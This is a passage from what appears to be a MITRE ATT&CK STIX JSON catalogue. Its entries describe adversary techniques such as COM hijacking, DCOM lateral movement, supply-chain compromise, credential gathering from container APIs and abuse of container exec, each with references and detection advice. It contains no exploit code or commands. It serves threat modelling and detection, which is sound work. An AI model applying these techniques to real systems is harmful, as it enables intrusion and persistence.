            "modified": "2020-11-10T18:19:44.725Z",
            "created": "2017-05-31T21:31:33.979Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.015",
                    "url": "https://attack.mitre.org/techniques/T1546/015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "source_name": "Microsoft Component Object Model"
                },
                {
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "source_name": "GDATA COM Hijacking"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Component Object Model Hijacking",
            "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ",
            "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-11-10T18:19:44.750Z",
            "created": "2020-03-16T14:12:47.923Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.  \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Module: Module Load"
            ],
            "x_mitre_contributors": [
                "Elastic"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1175",
                    "url": "https://attack.mitre.org/techniques/T1175"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "source_name": "Microsoft System Wide Com Keys"
                },
                {
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "source_name": "ProjectZero File Write EoP Apr 2018"
                },
                {
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "source_name": "Enigma MMC20 COM Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "source_name": "Enigma Excel DCOM Sept 2017"
                },
                {
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
                }
            ],
            "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
            "name": "Component Object Model and Distributed COM",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-30T13:36:10.069Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_deprecated": true,
            "x_mitre_version": "2.0",
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
            "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
            "name": "Compromise Accounts",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1586",
                    "url": "https://attack.mitre.org/techniques/T1586"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:59:07.046Z",
            "created": "2020-10-01T01:17:15.965Z",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566))."
        },
        {
            "created": "2020-02-11T18:18:34.279Z",
            "modified": "2020-03-27T14:49:58.249Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1554",
                    "url": "https://attack.mitre.org/techniques/T1554"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Compromise Client Software Binary",
            "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.",
            "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Creation",
                "File: File Deletion",
                "File: File Metadata"
            ],
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1195.003",
                    "url": "https://attack.mitre.org/techniques/T1195/003"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Compromise Hardware Supply Chain",
            "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
            "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-03-23T12:51:45.475Z",
            "created": "2020-03-11T14:28:40.064Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584",
                    "url": "https://attack.mitre.org/techniques/T1584"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.",
                    "url": "https://www.icann.org/groups/ssac/documents/sac-007-en"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Compromise Infrastructure",
            "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
            "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:04:40.423Z",
            "created": "2020-10-01T00:36:30.759Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1195.001",
                    "url": "https://attack.mitre.org/techniques/T1195/001"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Compromise Software Dependencies and Development Tools",
            "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)  \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",
            "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-03-11T14:13:42.916Z",
            "created": "2020-03-11T14:13:42.916Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
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            "created": "2020-03-11T14:17:21.153Z",
            "modified": "2020-03-11T14:17:21.153Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)  ",
            "name": "Compromise Software Supply Chain",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1195.002",
                    "url": "https://attack.mitre.org/techniques/T1195/002"
                },
                {
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "source_name": "Avast CCleaner3 2018"
                },
                {
                    "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.",
                    "source_name": "Command Five SK 2011"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
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            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1213.001",
                    "url": "https://attack.mitre.org/techniques/T1213/001"
                },
                {
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "source_name": "Atlassian Confluence Logging"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Confluence",
            "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
            "type": "attack-pattern",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-24T16:42:09.222Z",
            "created": "2020-02-14T13:09:51.004Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.007",
                    "url": "https://attack.mitre.org/techniques/T1552/007"
                },
                {
                    "source_name": "Docker API",
                    "url": "https://docs.docker.com/engine/api/v1.41/",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Kubernetes API",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."
                }
            ],
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Container API",
            "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",
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            "type": "attack-pattern",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            "modified": "2021-04-12T18:20:31.636Z",
            "created": "2021-03-31T14:01:52.321Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access",
                "User Account: User Account Authentication"
            ]
        },
        {
            "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
            "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)",
            "name": "Container Administration Command",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1609",
                    "url": "https://attack.mitre.org/techniques/T1609"
                },
                {
                    "source_name": "Docker Daemon CLI",
                    "url": "https://docs.docker.com/engine/reference/commandline/dockerd/",
                    "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Kubernetes API",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Kubernetes Kubelet",
                    "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/",
                    "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Docker Entrypoint",
                    "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime",
                    "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Docker Exec",
                    "url": "https://docs.docker.com/engine/reference/commandline/exec/",
                    "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Kubectl Exec Get Shell",
                    "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/",
                    "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2021-04-14T12:01:10.545Z",
            "created": "2021-03-29T16:39:26.183Z",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_contributors": [
                "Alfredo Oliveira, Trend Micro",
                "David Fiser, @anu4is, Trend Micro",
                "Brad Geesaman, @bradgeesaman",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",
